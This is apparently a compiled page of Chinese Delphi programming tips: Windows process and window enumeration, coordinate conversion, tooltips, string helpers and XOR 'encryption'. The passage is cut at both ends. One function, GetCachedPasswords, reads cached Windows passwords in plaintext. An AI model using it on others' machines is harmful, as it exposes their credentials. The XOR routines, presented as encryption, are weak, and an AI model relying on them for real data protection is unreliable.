result:=(@EnumProcesses<>nil) and (@EnumProcessModules<>nil) and (@GetModuleFileNameEx<>nil);

end;

end else result:=true;

end;}

function GetExeType(exefile: string) : TExeType;

var c1 : cardinal;

sfi : TSHFileInfo;

s1 : string;

begin

c1:=SHGetFileInfo(pchar(exefile),0,sfi,SizeOf(sfi),SHGFI_EXETYPE);

s1:=chr(c1 and $ff)+chr((c1 and $ff00) shr 8);

if s1='MZ' then result:=etDos

else if s1='NE' then result:=etWin16

else if (s1='PE') and (hiWord(c1)=0) then result:=etConsole

else if (s1='PE') and (hiWord(c1)>0) then result:=etWin32

else if CompareText(AnsiUpperCase(ExtractFileName(exefile)),AnsiUpperCase('winoa386.mod'))=0 then result:=etDos

else result:=etUnknown;

end;

function NT4_EnumProcessesAndThreads(pl: TPProcessList; tl: TPThreadList; windowsToo: boolean) : boolean;

type TPerfDataBlock = packed record

signature : array [0..3] of wchar;

littleEndian : cardinal;

version : cardinal;

revision : cardinal;

totalByteLength : cardinal;

headerLength : cardinal;

numObjectTypes : cardinal;

defaultObject : cardinal;

systemTime : TSystemTime;

perfTime : comp;

perfFreq : comp;

perfTime100nSec : comp;

systemNameLength : cardinal;

systemnameOffset : cardinal;

end;

TPPerfDataBlock = ^TPerfDataBlock;

TPerfObjectType = packed record

totalByteLength : cardinal;

definitionLength : cardinal;

headerLength : cardinal;

objectNameTitleIndex : cardinal;

objectNameTitle : PWideChar;

objectHelpTitleIndex : cardinal;

objectHelpTitle : PWideChar;

detailLevel : cardinal;

numCounters : cardinal;

defaultCounter : integer;

numInstances : integer;

codePage : cardinal;

perfTime : comp;

perfFreq : comp;

end;

TPPerfObjectType = ^TPerfObjectType;

TPerfCounterDefinition = packed record

byteLength : cardinal;

counterNameTitleIndex : cardinal;

counterNameTitle : PWideChar;

counterHelpTitleIndex : cardinal;

counterHelpTitle : PWideChar;

defaultScale : integer;

defaultLevel : cardinal;

counterType : cardinal;

counterSize : cardinal;

counterOffset : cardinal;

end;

TPPerfCounterDefinition = ^TPerfCounterDefinition;

TPerfInstanceDefinition = packed record

byteLength : cardinal;

parentObjectTitleIndex : cardinal;

parentObjectInstance : cardinal;

uniqueID : integer;

nameOffset : cardinal;

nameLength : cardinal;

end;

TPPerfInstanceDefinition = ^TPerfInstanceDefinition;

TAPChar = array [0..maxInt div 4-1] of pchar;

TPCardinal = ^cardinal;

var i1,i2,i3,i4 : integer;

b1,b2,b3,b4 : boolean;

bt,bp : boolean;

c1 : cardinal;

pCard : TPCardinal;

perfDataBlock : TPPerfDataBlock;

perfObjectType : TPPerfObjectType;

perfCounterDef : TPPerfCounterDefinition;

perfInstanceDef : TPPerfInstanceDefinition;

begin

result:=false;

bt:=tl=nil; if not bt then tl^:=nil; bp:=pl=nil; if not bp then pl^:=nil;

if bt and bp then exit;

perfDataBlock:=nil;

try

i1:=$10000;

repeat

ReallocMem(perfDataBlock,i1); i2:=i1;

i4:=RegQueryValueEx(HKEY_PERFORMANCE_DATA,'230 232',nil,@i3,pointer(perfDataBlock),@i2);

if i4=ERROR_MORE_DATA then i1:=i1*2;

until (i4<>ERROR_MORE_DATA);

if i4<>ERROR_SUCCESS then exit;

perfObjectType:=pointer(cardinal(perfDataBlock)+perfDataBlock^.headerLength);

for i1:=0 to integer(perfDataBlock^.numObjectTypes)-1 do begin

b1:= (pl<>nil) and (perfObjectType^.objectNameTitleIndex=230); // 230 -> "Process"

b2:=(not b1) and (tl<>nil) and (perfObjectType^.objectNameTitleIndex=232); // 232 -> "Thread"

if b1 or b2 then begin

perfCounterDef:=pointer(cardinal(perfObjectType)+perfObjectType^.headerLength);

for i2:=0 to perfObjectType^.numCounters-1 do begin

b3:= perfCounterDef^.counterNameTitleIndex=784; // 784 -> "ID Process"

b4:=(not b3) and (perfCounterDef^.counterNameTitleIndex=804); // 804 -> "ID Thread"

if b3 or b4 then begin

perfInstanceDef:=pointer(cardinal(perfObjectType)+perfObjectType^.definitionLength);

if b1 then SetLength(pl^,perfObjectType^.numInstances-1)

else SetLength(tl^,perfObjectType^.numInstances-1);

for i3:=0 to perfObjectType^.numInstances-2 do begin

c1:=TPCardinal(cardinal(perfInstanceDef)+perfInstanceDef^.byteLength+perfCounterDef^.counterOffset)^;

if b1 then begin

pl^[i3].pid:=c1;

if c1<>0 then begin

pl^[i3].name:=wideString(PWideChar(cardinal(perfInstanceDef)+perfInstanceDef.nameOffset));

if pl^[i3].name<>'System' then pl^[i3].name:=pl^[i3].name+'.exe';

end else pl^[i3].name:='[System Process]';

end else if b3 then tl^[i3].pid:=c1 else tl^[i3].tid:=c1;

pCard:=pointer(cardinal(perfInstanceDef)+perfInstanceDef^.byteLength);

perfInstanceDef:=pointer(cardinal(pCard)+pCard^);

end;

end;

inc(perfCounterDef);

end;

bt:=bt or b2; bp:=bp or b1; if bt and bp then break;

end;

perfObjectType:=pointer(cardinal(perfObjectType)+perfObjectType^.totalByteLength);

end;

result:=((pl<>nil) and (pl^<>nil)) or ((tl<>nil) and (tl^<>nil));

if (tl<>nil) and windowsToo then

if windowsToo then

for i1:=0 to high(tl^) do

if (tl^[i1].pid<>0) then

tl^[i1].windows:=GetWindowList(tl^[i1].pid,tl^[i1].tid);

finally FreeMem(perfDataBlock) end;

end;

function GetProcessList(threadsToo: boolean = false; windowsToo: boolean = false) : TProcessList;

var c1 : cardinal;

i1,i2,i3,i4 : integer;

tl : TThreadList;

pe : TProcessEntry32;

begin

result:=nil;

if GetOperatingSystem in [osWin95,osWin95osr2,osWin98,osWinNT5] then begin

if not TestToolhelpFunctions then begin

MessageBox(0,'Toolhelp functions not available.','Error...',0);

exit;

end;

c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);

try

i1:=0;

pe.dwSize:=sizeOf(pe);

if Process32First(c1,pe) then

repeat

SetLength(result,i1+1);

result[i1].pid:=pe.th32ProcessID; result[i1].name:=pe.szExeFile;

result[i1].exeType:=GetExeType(result[i1].name);

inc(i1);

until not Process32Next(c1,pe);

finally CloseHandle(c1) end;

if threadsToo then tl:=GetThreadList(0,windowsToo);

end else if GetOperatingSystem in [osWinNT3,osWinNT4,osWinNT4SP4] then

if ( threadsToo and (not NT4_EnumProcessesAndThreads(@result,@tl,windowsToo))) or

((not threadsToo) and (not NT4_EnumProcessesAndThreads(@result,nil,false ))) then

MessageBox(0,'Error reading Performace Data.','Error...',0);

{ if not TestPsApi then begin

MessageBox(0,'"PsApi.dll" not found.','Error...',0);

exit;

end;

SetLength(s1,MAX_PATH+1);

SetLength(s1,GetModuleFileName(psApiHandle,pchar(s1),MAX_PATH));

c1:=100; SetLength(ac,c1);

if EnumProcesses(pointer(ac),4*c1,c2) then begin

while 4*c1=c2 do begin

inc(c1,100); SetLength(ac,c1); EnumProcesses(pointer(ac),4*c1,c2);

end;

SetLength(result,c2 div 4);

end;

for i1:=0 to high(result) do begin

result[i1].pid:=ac[i1];

c1:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,false,ac[i1]);

if c1<>0 then

try

if EnumProcessModules(c1,c2,4,c3) then begin

SetLength(result[i1].name,MAX_PATH+1);

if GetModuleFileNameEx(c1,c2,PChar(result[i1].name),length(result[i1].name))<>0 then begin

result[i1].name:=string(PChar(result[i1].name));

result[i1].exeType:=GetExeType(result[i1].name);

end else begin result[i1].name:=''; result[i1].exeType:=etUnknown end;

end;

finally CloseHandle(c1) end;

end;

end; }

i4:=high(tl);

if i4>0 then

for i1:=0 to i4 do

for i2:=high(result) downto 0 do

if tl[i1].pid=result[i2].pid then begin

i3:=length(result[i2].threads); setLength(result[i2].threads,i3+1); result[i2].threads[i3]:=tl[i1];

end;

end;

function GetThreadList(pid: cardinal = 0; windowsToo: boolean = false) : TThreadList;

var c1 : cardinal;

i1 : integer;

te : TThreadEntry32;

begin

result:=nil;

if GetOperatingSystem in [osWin95,osWin95osr2,osWin98,osWinNT5] then begin

if not TestToolhelpFunctions then begin

MessageBox(0,'Toolhelp functions not available.','Error...',0);

exit;

end;

c1:=CreateToolHelp32Snapshot(TH32CS_SnapThread,0);

try

i1:=0;

te.dwSize:=sizeOf(te);

if Thread32First(c1,te) then

repeat

if (pid=0) or (pid=te.th32OwnerProcessID) then begin

SetLength(result,i1+1);

result[i1].tid:=te.th32ThreadID; result[i1].pid:=te.th32OwnerProcessID;

inc(i1);

end;

until not Thread32Next(c1,te);

finally CloseHandle(c1) end;

if windowsToo then

for i1:=0 to high(result) do

if (result[i1].pid<>0) then

result[i1].windows:=GetWindowList(result[i1].pid,result[i1].tid);

end else if GetOperatingSystem in [osWinNT3,osWinNT4,osWinNT4SP4] then

if not NT4_EnumProcessesAndThreads(nil,@result,windowsToo) then

MessageBox(0,'Error reading Performace Data.','Error...',0);

end;

var ew_pid, ew_tid : cardinal;

ew_onlyThoseInTaskbar : boolean;

function EnumWindowsProc(hwnd: cardinal; lParam: integer) : LongBool; stdcall;

var pwl : ^TWindowList;

i1 : integer;

cpid,ctid : cardinal;

cpar,cown : cardinal;

bvis,btsk : boolean;

begin

result:=true;

ctid:=GetWindowThreadProcessID(hwnd,@cpid);

if ((ew_pid=0) or (ew_pid=cpid)) and ((ew_tid=0) or (ew_tid=ctid)) then begin

bvis:=IsWindowVisible(hwnd);

cown:=GetWindow(hwnd,GW_OWNER); cpar:=GetParent(hwnd);

btsk:=(cown=0) and (cpar=0) and bvis and (GetWindowLong(hwnd,GWL_EXSTYLE) and WS_EX_TOOLWINDOW=0);

if (not ew_onlyThoseInTaskbar) or btsk then begin

pwl:=pointer(lParam);

i1:=length(pwl^);

SetLength(pwl^,i1+1);

with pwl^[i1] do begin

window:=hwnd;

parent:=cpar; owner:=cown;

visible:=bvis; enabled:=IsWindowEnabled(hwnd);

inTaskbar:=btsk;

GetWindowRect(hwnd,rect);

SetLength(title,MAX_PATH);

SetLength(title,GetWindowText(hwnd,pchar(title),MAX_PATH));

SetLength(className,MAX_PATH);

SetLength(className,GetClassName(hwnd,pchar(className),MAX_PATH));

pid:=cpid; tid:=ctid;

end;

end;

end;

end;

function GetWindowList(pid: cardinal = 0; tid: cardinal = 0; onlyThoseInTaskbar: boolean = false) : TWindowList;

begin

result:=nil;

ew_pid:=pid; ew_tid:=tid; ew_onlyThoseInTaskbar:=onlyThoseInTaskbar;

if ew_tid=0 then EnumWindows ( @EnumWindowsProc,integer(@result))

else EnumThreadWindows(ew_tid,@EnumWindowsProc,integer(@result));

end;

function GetChildWindowList(window: cardinal) : TWindowList;

begin

result:=nil;

ew_pid:=0; ew_tid:=0; ew_onlyThoseInTaskbar:=false;

EnumChildWindows(window,@EnumWindowsProc,integer(@result));

end;

function EnumWindowStationsProc(windowStationName: pchar; lParam: integer) : LongBool; stdcall;

var i1 : integer;

pwsl : ^TWindowStationList;

begin

result:=true;

pwsl:=pointer(lParam);

i1:=length(pwsl^);

SetLength(pwsl^,i1+1);

pwsl^[i1].name:=windowStationName;

end;

function GetWindowStationList(desktopsToo: boolean = false; windowsToo: boolean = false) : TWindowStationList;

var c1 : cardinal;

i1 : integer;

begin

result:=nil;

EnumWindowStations(@EnumWindowStationsProc,integer(@result));

if desktopsToo then

for i1:=0 to high(result) do begin

c1:=OpenWindowStation(pchar(result[i1].name),false,WINSTA_ENUMDESKTOPS);

if c1>0 then

try

result[i1].desktops:=GetDesktopList(c1,windowsToo);

finally CloseWindowStation(c1) end;

end;

end;

function EnumDesktopsProc(desktopName: pchar; lParam: integer) : LongBool; stdcall;

var i1 : integer;

pdl : ^TDesktopList;

begin

result:=true;

pdl:=pointer(lParam);

i1:=length(pdl^);

SetLength(pdl^,i1+1);

pdl^[i1].name:=desktopName;

end;

function GetDesktopList(ws: cardinal = 0; windowsToo: boolean = false) : TDesktopList;

var c1 : cardinal;

i1 : integer;

begin

result:=nil;

if ws=0 then ws:=GetProcessWindowStation;

EnumDesktops(ws,@EnumDesktopsProc,integer(@result));

if windowsToo then

for i1:=0 to high(result) do begin

c1:=OpenDesktop(pchar(result[i1].name),0,false,DESKTOP_READOBJECTS);

if c1>0 then

try

result[i1].windows:=GetDesktopWindowList(c1);

finally CloseDesktop(c1) end;

end;

end;

function GetDesktopWindowList(dt: cardinal = 0) : TWindowList;

begin

result:=nil;

if dt=0 then dt:=GetThreadDesktop(GetCurrentThreadID);

ew_pid:=0; ew_tid:=0; ew_onlyThoseInTaskbar:=false;

EnumDesktopWindows(dt,@EnumWindowsProc,integer(@result));

end;

{Button The class for a button.

ComboBox The class for a combo box.

Edit The class for an edit control.

ListBox The class for a list box.

MDIClient The class for an MDI client window.

ScrollBar The class for a scroll bar.

Static The class for a static control.

The following table describes the system classes that are available only for use by the system. They are listed here for completeness sake.

Class Description

ComboLBox The class for the list box contained in a combo box.

DDEMLEvent Windows NT: The class for DDEML events.

Message Windows NT 5.0 and later: The class for a message-only window.

#32768 The class for a menu.

#32769 The class for the desktop window.

#32770 The class for a dialog box.

#32771 The class for the task switch window.

#32772 Windows NT: The class for icon titles. }

type TPasswordCacheEntry = packed record

entry : word; // size of this entry, in bytes

resourceLen : word; // size of resource name, in bytes

passwordLen : word; // size of password, in bytes

entryIndex : byte; // entry index

entryType : byte; // type of entry

resource : array [0..$FFFFFFF] of char;

// start of resource name

// password immediately follows resource name

end;

TPPasswordCacheEntry = ^TPasswordCacheEntry;

function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; lParam: cardinal) : LongBool; stdcall;

var i1 : integer;

ppcl : ^TCachedPasswordList;

begin

result:=true;

ppcl:=pointer(lParam);

i1:=length(ppcl^);

SetLength(ppcl^,i1+1);

SetLength(ppcl^[i1].resource,pce^.resourceLen);

Move(pce^.resource[0],pointer(ppcl^[i1].resource)^,pce^.resourceLen);

ppcl^[i1].resource:=pchar(ppcl^[i1].resource);

SetLength(ppcl^[i1].password,pce^.passwordLen);

Move(pce^.resource[pce^.resourceLen],pointer(ppcl^[i1].password)^,pce^.passwordLen);

ppcl^[i1].password:=pchar(ppcl^[i1].password);

ppcl^[i1].resType:=pce^.entryType;

end;

var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; lParam: cardinal) : word; stdcall

= nil;

mpr : cardinal = 0;

function GetCachedPasswords : TCachedPasswordList;

begin

result:=nil;

if mpr=0 then begin

mpr:=LoadLibrary('mpr');

if mpr=0 then exit;

end;

if @WNetEnumCachedPasswords=nil then begin

WNetEnumCachedPasswords:=GetProcAddress(mpr,'WNetEnumCachedPasswords');

if @WNetEnumCachedPasswords=nil then exit;

end;

WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,cardinal(@result));

end;

initialization

finalization

if mpr <>0 then FreeLibrary(mpr );

// if psApiHandle<>0 then FreeLibrary(psApiHandle);

end.


IIF函数

function IIF(const Bool: Boolean; TrueValue, FalseValue: integer): integer; overload;

function IIF(const Bool: Boolean; TrueValue, FalseValue: string): string; overload;

function IIF(const Bool: Boolean; TrueValue, FalseValue: Real): Real; overload;

function IIF(const Bool: Boolean; TrueValue, FalseValue: integer): integer; overload;

begin

if Bool then

Result := TrueValue

else

Result := FalseValue;

end;

function IIF(const Bool: Boolean; TrueValue, FalseValue: Real): Real; overload;

begin

if Bool then

Result := TrueValue

else

Result := FalseValue;

end;

function IIF(const Bool: Boolean; TrueValue, FalseValue: string): string; overload;

begin

if Bool then

Result := TrueValue

else

Result := FalseValue;

end;


地球经纬度计算距离

Cosine Formula

    ** cos A = cos B cos C + sin B sin C cos A

   Sine Formula

         Sin a 　 Sin b 　 　Sin c

    ** ─── = ─── = ───

        Sin A 　 Sin B 　　Sin C

   球面間兩點的距離

    ** cos Z = sinψa sinψb + cosψa cosψb cosλ

       ┌ψa、ψb　──　兩點分別的緯度

       └λ　　　　──　兩點間的經度差

                        Z

        兩點間的距離S = ── × 地球實際周長

                        2π

平面坐标系和地球经纬坐标系的变换

unit Coordinate;

{-------------------------------------------------------------------------------

经纬和平面坐标系的变换

{-------------------------------------------------------------------------------

{ Date:

{ Last update:

{ Coder:zjb

{ Platform:Win2K,Delphi 6

{------------------------------------------------------------------------------}

{

{

{------------------------------------------------------------------------------}

interface

uses

Math;

type

TGeographyConst = record

case Integer of

0: (dtShort, dtEasting, dtscale, dtLong, dtNorthing, dtCenter: Double);

1: (EarthParams: array[0..5] of Double);

end;

TDot = record

case Integer of

0: (Longitude, Latitude: Double);

1: (X, Y: Double);

end;

{ 经纬转换平面坐标系中的坐标 }

function JW2XY(Dot: TDot): TDot;

{ 平面坐标变换成经纬度 }

function XY2JW(Dot: TDot): TDot;

{ }

function LLToXY(Dot: TDot): TDot;

function XYToLL(Dot: TDot): TDot;

{ 初始化参数，在使用本单元前，必须进行初始化 }

function SetConst(Geogconst: TGeographyConst): Boolean;

implementation

{const

dsLongAxis = 6378245;

dsShortAxis = 6356863;

dsFalseEasting = 500000;

dsFalseNorthing = 0;

dsScale = 1;

dsCMRad= 114*Pi/180 ;

// dsCentralMeridian,

}

const

CDRadDeg: Double = 180 / Pi;

CDDegRad: Double = Pi / 180;

var

ArEarthConst: array[0..9] of Double;

dsLongAxis, dsShortAxis, dsFalseEasting, dsFalseNorthing,

dsScale, dsCMRad, dsDev: Double;

function ComputeR2R(t: integer): Double;

begin

if t <= 0 then Result := 1.0

else Result := (t shl 2 - 2) / t * ComputeR2R(t - 1);

end;

procedure ComputeEarthConst(LongRadius: double);

function CalcStepData(iStep: integer; rdBase: Double): Double;

var

i: integer;

rdSum, rdDelta, rdTmp: Double;

begin

rdSum := 0.0; i := iStep; rdDelta := 1;

while (rdDelta / (rdDelta + rdSum) > 1.0E-10) do

begin

rdTmp := Sqr(ComputeR2R(i));

rdDelta := (i shl 1 + 1) * rdTmp * Power(rdBase, i);

rdSum := rdSum + rdDelta; Inc(i);

end;

result := rdSum;

end;

var

dAe, dSum, dBase: double;

i: integer;

begin

dAe := LongRadius * (1.0 - dsDev);

dBase := dsDev / 16.0;

dSum := CalcStepData(0, dBase);

ArEarthConst[0] := dSum * dAe;

for i := 0 to 8 do

begin

dSum := CalcStepData(i + 1, dBase);

ArEarthConst[i + 1] := dSum * dAe * Power(4, i) / (i shl 1 + 1) / ComputeR2R(i);

end;

end;

function JW2XY(Dot: TDot): TDot;

begin

result := LLToXY(Dot);

end;

function LLToXY(Dot: TDot): TDot;

// 计算中心子午带的长度

function CalculateX0(rLat: Double): Double;

var

rdX0, rdSLat: Double;

i: integer;

begin

rdX0 := 0.0; rdSLat := Sin(rLat);

for i := 1 to 6 do

rdX0 := rdX0 - Power(rdSLat, i shl 1 - 1) * ArEarthConst[i];

result := rdX0 * Cos(rLat) + ArEarthConst[0] * rLat;

end;

var

rdX0, rdJD, rdWD, rdt, rdt2, rdm, rdN, rdDeta,

rdConst11, rdConst12, rdConst21, rdConst22: Double;

begin

if Dot.Latitude > Abs(89.999998) then

rdJD := dsCMRad * CDDegRad

else

rdJD := Dot.Longitude * CDDegRad;

rdWD := Dot.Latitude * CDDegRad;

rdX0 := CalculateX0(rdWD);

rdt := Tan(rdWD);

rdt2 := rdt * rdt;

rdm := (rdJD - dsCMRad) * Cos(rdWD);

rdN := dsLongAxis / Sqrt(1.0 - dsDev * Power(sin(rdWD), 2));

rdDeta := dsDev / (1 - dsDev) * Power(cos(rdWD), 2);

rdConst11 := (5.0 - rdt2 + (9.0 + 4.0 * rdDeta) * rdDeta) * Power(rdm, 4) / 24.0;

rdConst12 := (61.0 - (58.0 + rdt2) * rdt2) * Power(rdm, 6) / 720.0;

rdConst21 := (1 - rdt2 + rdDeta) * Power(rdm, 3) / 6.0;

rdConst22 := (5.0 - (18.0 + rdt2) * rdt2 + (14.0 - 58.0 * rdt2) * rdDeta) * Power(rdm, 5) / 120.0;

Result.Longitude := (rdN * (rdm + rdConst21 + rdConst22)) * dsScale + dsFalseEasting;

Result.Latitude := (rdX0 + rdN * rdt * (rdm * rdm * 0.5 + rdConst11 + rdConst12)) * dsScale + dsFalseNorthing;

end;

function SetConst(Geogconst: TGeographyConst): Boolean;

begin

try

with Geogconst do

begin

dsLongAxis := dtLong;

dsShortAxis := dtShort;

dsFalseEasting := dtEasting;

dsFalseNorthing := dtNorthing;

dsScale := dtscale;

dsCMRad := dtCenter * Pi / 180;

end;

dsDev := 1 - Sqr(1 - (dsLongAxis - dsShortAxis) / dsLongAxis);

ComputeEarthConst(dsLongAxis);

result := true;

except

result := false;

end;

end;

function XY2JW(Dot: TDot): TDot;

begin

result := XYToLL(Dot);

end;

function XYToLL(Dot: TDot): TDot;

// 计算低点的纬度

function CalculateLatitude0(rX: Double): Double;

var

rdValue, rdSValue, rdDelta, rdLat0: Double;

i: integer;

begin

rdValue := rX / ArEarthConst[0];

repeat

rdDelta := 0.0;

rdSValue := sin(rdValue);

for i := 1 to 5 do

rdDelta := rdDelta - Power(rdSValue, i shl 1 - 1) * ArEarthConst[i];

rdLat0 := (rX - rdDelta * Cos(rdValue)) / ArEarthConst[0];

rdDelta := Abs((rdLat0 - rdValue) / rdLat0);

rdValue := rdLat0;

until (rdDelta < 1.0E-10);

result := rdLat0;

end;

var

rdX, rdY: Double;

rdLat0, rdN, rdt, rdt2, rdV2, rdDeta, rdYN, rdYN2, rdDevL,

rdConst11, rdConst12, rdConst21, rdConst22: Extended;

begin

rdX := (Dot.Latitude - dsFalseNorthing) / dsScale;

rdY := (Dot.Longitude - dsFalseEasting) / dsScale;

rdLat0 := CalculateLatitude0(rdX);

rdt := tan(rdLat0);

rdt2 := rdt * rdt;

rdN := dsLongAxis / sqrt(1.0 - dsDev * Power(sin(rdLat0), 2));

rdDeta := dsDev / (1 - dsDev) * Power(cos(rdLat0), 2);

rdV2 := 1.0 + rdDeta;

rdYN := rdY / rdN;

rdYN2 := rdYN * rdYN;

rdConst11 := (5.0 + rdDeta + (3.0 - 9.0 * rddeta) * rdt2) / 12.0;

rdConst12 := (61.0 + (90.0 + 45.0 * rdt2) * rdt2) / 360.0;

rdConst21 := (1.0 + 2.0 * rdt2 + rdDeta) / 6.0;

rdConst22 := (5.0 + (28.0 + 24.0 * rdt2) * rdt2 + (6.0 + 8.0 * rdt2) * rdDeta) / 120.0;

rdDevL := rdYN * (1 - (rdConst21 + rdConst22 * rdYN2) * rdYN2) / cos(rdLat0);

Result.Longitude := CDRadDeg * (rdDevL + dsCMRad);

Result.Latitude := CDRadDeg * (rdLat0 - 0.5 * rdV2 * rdt * rdYN2 * (1 - (rdConst11 + rdConst12 * rdYN2) * rdYN2));

end;

end.


显示Balloon Tooltip

How to Show Balloon tooltip in my program?

{ copyright kingron }

procedure ShowBalloonTip(Control: TWinControl; Icon: integer; Title: pchar; Text:

PWideChar);

const

TOOLTIPS_CLASS = 'tooltips_class32';

TTS_ALWAYSTIP = $01;

TTS_NOPREFIX = $02;

TTS_BALLOON = $40;

TTF_SUBCLASS = $0010;

TTF_TRANSPARENT = $0100;

TTF_CENTERTIP = $0002;

TTM_ADDTOOL = $0400 + 50;

TTM_SETTITLE = (WM_USER + 32);

ICC_WIN95_CLASSES = $000000FF;

type

TOOLINFO = packed record

cbSize: integer;

uFlags: integer;

hwnd: THandle;

uId: integer;

rect: TRect;

hinst: THandle;

lpszText: PWideChar;

lParam: integer;

end;

var

hWndTip: THandle;

ti: TOOLINFO;

hWnd: THandle;

begin

hWnd := Control.Handle;

hWndTip := CreateWindow(TOOLTIPS_CLASS, nil,

WS_POPUP or TTS_NOPREFIX or TTS_BALLOON or TTS_ALWAYSTIP,

0, 0, 0, 0, hWnd, 0, HInstance, nil);

if hWndTip <> 0 then

begin

SetWindowPos(hWndTip, HWND_TOPMOST, 0, 0, 0, 0,

SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);

ti.cbSize := SizeOf(ti);

ti.uFlags := TTF_CENTERTIP or TTF_TRANSPARENT or TTF_SUBCLASS;

ti.hwnd := hWnd;

ti.lpszText := Text;

Windows.GetClientRect(hWnd, ti.rect);

SendMessage(hWndTip, TTM_ADDTOOL, 1, integer(@ti));

SendMessage(hWndTip, TTM_SETTITLE, Icon mod 4, Integer(Title));

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowBalloonTip(Button1, 1, 'Title',

'Balloon tooltip,http://kingron.myetang.com');

end;


分割字符串

type

TResultArray = array of string;

function SplitString(const source, ch: string): TResultArray;

var

temp: string;

i: integer;

begin

temp := source;

i := pos(ch, source);

while i <> 0 do

begin

SetLength(Result, Length(Result) + 1);

Result[Length(Result) - 1] := copy(temp, 0, i - 1);

delete(temp, 1, i);

i := pos(ch, temp);

end;

SetLength(Result, Length(Result) + 1);

Result[Length(Result)-1] := Temp;

end;

**************

function SplitString(const source,ch:string):tstringlist;

var

temp:string;

i:integer;

begin

result:=tstringlist.Create;

temp:=source;

i:=pos(ch,source);

while i<>0 do

begin

result.Add(copy(temp,0,i-1));

delete(temp,1,i);

i:=pos(ch,temp);

end;

result.Add(temp);

end;

调用：

s:=splitstring('afsdfsdaaa|bbfdsfsdb|ccc','|');

for i:=0 to s.Count-1 do

b:=b+s.Strings[i]+#13;

showmessage(b);

s.free;


计算字符串中中文的字数

var ans : AnsiString;

wis : WideString;

sub : Integer; //汉字的个数

Begin

ans := '盗版delphi';

wis := WideString( ans );

sub := Length( ans ) - Length( wis );

End;


字符串加密解密

type

TDynByteArray = array of byte;

const

SeedA = 5678; /// 常量，你可以修改

SeedB = 5432; /// 常量，你可以修改

/// 对数组加密

function Crypt(const s: TDynByteArray; Key: Word; const bEncrypt: boolean = true): TDynByteArray; overload;

var

i : integer;

begin

SetLength(Result, Length(s));

for i := Low(s) to High(s) do

begin

Result[i] := s[i] xor (key shr 8);

if bEncrypt then

Key := (Result[i] + key) * SeedA + SeedB

else

Key := (s[i] + Key) * SeedA + SeedB;

end;

end;

/// 字符串

function Crypt(const s: string; Key: Word; const bEncrypt: boolean = True): string; overload;

var

i : integer;

ps, pr : ^byte;

begin

SetLength(Result, Length(s));

ps := @s[1];

pr := @Result[1];

for i := 1 to length(s) do

begin

pr^ := ps^ xor (Key shr 8);

if bEncrypt then

Key := (pr^ + Key) * SeedA + SeedB

else

Key := (ps^ + Key) * SeedA + SeedB;

pr := pointer(integer(pr) + 1);

ps := pointer(integer(ps) + 1);

end

end;

/// 也可以对记录进行加密，只要把TResultData改成你的记录类型即可！！！！！！

function Crypt(const s: TResultData; Key: Word; const bEncrypt: boolean = True): TResultData; overload;

var

i : integer;

ps, pr : ^byte;

begin

ps := @s;

pr := @Result;

for i := 1 to SizeOf(s) do

begin

pr^ := ps^ xor (Key shr 8);

if bEncrypt then

Key := (pr^ + Key) * SeedA + SeedB

else

Key := (ps^ + Key) * SeedA + SeedB;

pr := pointer(integer(pr) + 1);

ps := pointer(integer(ps) + 1);

end;

end;

***************************

function cryptstr(const s:string; stype: dword):string;

var

i: integer;

fkey: integer;

begin

result:='';

case stype of

0:

begin

randomize;

fkey := random($ff);

for i:=1 to length(s) do

result := result+chr( ord(s[i]) xor i xor fkey);

result := result + char(fkey);

end;

1:

begin

fkey := ord(s[length(s)]);

for i:=1 to length(s) - 1 do

result := result+chr( ord(s[i]) xor i xor fkey);

end;

end;


使用字符串资源的技巧

使用字符串资源的技巧

---- 不同于其它资源，字符串资源不能直接编辑，需要先按格式编制一个文本文件，再用程序将其编译成资源文件。下面用一个简单的例子来说明。首先用文本编辑器编一个文件lb.rc，其内容如下：

STRINGTABLE

BEGIN

1,"开始"

2,"退出"

END

---- 然后， 找到Delphi的Bin子目录下的BRCC32.EXE文件进行编译， 命令格式为： BRCC32 LB.RC，编译结束后即生成一个资源文件lb.res。要使用该资源文件，需要在单元文件implementation部分的开始处包括资源文件：{＄R LB.RES}。在本例中，上面的字符串用于给一个命令按钮更换Caption设置， 使用的函数是Windows API函数 LoadString，以下是使用实例：

//在FormCreat过程中：

var

txtCaption:array [0..255] of char;

begin

//

if LoadString(HInstance,1,txtCaption,SizeOf

(txtCaption))〉0 then

btnStart.Caption:=StrPas(txtCaption);

end;

//在btnStartClick过程中：

var

txtCaption:array [0..255] of char;

begin

if LoadString(HInstance,2,txtCaption,

SizeOf(txtCaption))〉0 then

btnStart.Caption:=StrPas(txtCaption);

end;

---- 这样就可以在程序运行时改变各种属性，而不需要在程序中出现字符串。如果使用另一个Delphi函数LoadStr，会显得更加简单：

var

txtCaption:String;

begin

txtCaption:=LoadStr(2);

if txtCaption〈〉′′ then

btnStart.Caption:=txtCaption;

end;

---- 或许大家可以从以上的过程中看出， 使用123来标识一个字符串有些简陋，也很容易出错，那么怎么办呢?我们可以采取像C＋＋中使用字符串的方法，为每个字符串预定义一个ID，如：

const

IDC-START=1;

IDC-EXIT=2;

---- 当然要把它放在一个unit里（类似于C＋＋的.h文件） ，在使用的单元里再uses一下就可以了，这样应用感觉是不是很爽呢？

txtCaption:=LoadStr(IDC-EXIT);


字符串格式化的问题

：能否用format函数将 不足3位的数前补零？如8->008/12->012

API :int wsprintf(

LPTSTR lpOut, // pointer to buffer for output

LPCTSTR lpFmt, // pointer to format-control string

... // optional arguments

);

%[-][#][0][width][.precision]type

0 Pad the output value with zeros to fill the field width. If this field is omitted, the output value is padded with blank spaces

可以：

例如Format('%.5d',[12]);


New Page 1

一个加解密算法

unit PNPCore;

interface

const

WinSize = 6;

procedure Encrypt (SName, TName, Password: string);

procedure Decrypt (SName, TName, Password: string);

implementation

type

TKey = array[1..WinSize, 1..WinSize] of Boolean;

var

Key: TKey;

SFile, TFile: file;

FSize: LongInt;

procedure InitKey (Password: string);

const

CodeSize = WinSize*(WinSize+2) shr 3;

var

Code: array[1..CodeSize] of 0..3;

PassL: Integer;

Max, Half, Bit, Start, Sum, X, Y: Integer;

A, B: Integer;

begin

PassL:= Length(Password);

Max:= 2*PassL-3;

if Max>CodeSize then Max:=CodeSize;

